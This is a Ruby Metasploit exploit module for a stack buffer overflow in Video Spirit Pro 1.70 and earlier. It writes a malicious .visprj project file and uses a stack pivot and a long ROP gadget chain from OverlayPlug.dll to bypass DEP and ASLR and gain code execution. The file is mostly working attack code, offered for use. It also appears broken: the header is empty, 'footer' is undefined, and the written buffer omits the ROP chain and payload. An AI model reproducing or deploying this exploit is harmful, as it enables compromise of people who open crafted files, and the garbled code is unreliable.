##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VeryTools Video Spirit Pro <= 1.70',
'Description' => %q{
This module exploits a stack buffer overflow in Video Spirit <= 1.70.
When opening a malicious project file (.visprj), a stack buffer overflow occurs,
resulting in arbitrary code execution.
This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Acidgen', #found the vulnerability
'corelanc0d3r', #rop exploit + msf module
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2011-0499'],
[ 'CVE', '2011-0500'],
[ 'OSVDB', '70619'],
[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800, #0x320 bytes - avoid marking wrong page as RWX
'BadChars' => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
{
'OffSet' => 168,
'OffSetToRop' => 952,
'Ret' => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 11 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'VideoSpirit project name.', 'msf.visprj']),
], self.class)
end
def junk
return rand_text_alphanumeric(4).unpack("L")[0].to_i
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
header = %Q|
|
print_status("Preparing payload")
pivot = [target.ret].pack('V')
rop_gadgets =
[
# one non-ASLR module is enough for generic ASLR & DEP bypass !
# pvefindaddr rop 'n roll
# First, grab VirtualProtect ptr
0x10065292, # POP EAX # RETN [OverlayPlug.dll]
0x106F4244, # IAT entry + offsqet (bad char friendly)
0x10019762, # POP EBP # RETN [OverlayPlug.dll]
0xEFEFEFF0, # bye bye offset
0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
0x100684B8, # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN [OverlayPlug.dll]
junk,
junk,
junk,
0x1005E114, # MOV EAX,DWORD PTR DS:[EAX] # RETN [OverlayPlug.dll]
0x10016A56, # XCHG EAX,ESI [OverlayPlug.dll]
# set size
0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
0x10101330, # 0x320 bytes - change this if needed, but don't make it too big :)
0x10019762, # POP EBP # RETN [OverlayPlug.dll]
0xEFEFEFF0, # boo
0x10084977, # ADD EBP,EAX # RETN [OverlayPlug.dll]
0x10053E4C, # XCHG EAX,EBP # RETN [OverlayPlug.dll]
0x10066D8C, # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10 [OverlayPlug.dll]
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
junk,
# set NewProtect to 0x40
0x100E3D4A, # XOR EAX,EAX # XOR EDX,EDX # RETN [OverlayPlug.dll]
junk,
junk,
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10010C36, # ADD EAX,10 # POP EBP # RETN 4 [OverlayPlug.dll]
junk,
junk,
0x10030C8B, # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4 [OverlayPlug.dll]
junk,
# write pOldProtect to .data section
0x1001AB51, # POP ECX # RETN [OverlayPlug.dll]
junk,
0x10117030, # RW
# EDI : ROP NOP
0x10057090, # POP EDI # RETN [OverlayPlug.dll]
0x10057091, # ROP NOP
# pReturn2Payload
0x100BC8E8, # PUSH ESP # MOV EAX,ESI # POP ESI # RETN [OverlayPlug.dll]
0x10016A56, # XCHG EAX,ESI # RETN [OverlayPlug.dll]
0x1003C946, # ADD EAX,0A # RETN [OverlayPlug.dll]
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1003C946,
0x1001FDBD, # XCHG EAX,EBP # RETN [OverlayPlug.dll]
0x100A9274, # POP EAX # RETN [OverlayPlug.dll]
0x41414141,
# go
0x10066F84, # PUSHAD # RETN [OverlayPlug.dll]
].pack("V*")
buffer = ""
buffer << "\n"
filecontent = header + buffer + footer
print_status("Writing payload to file")
file_create(filecontent)
end
end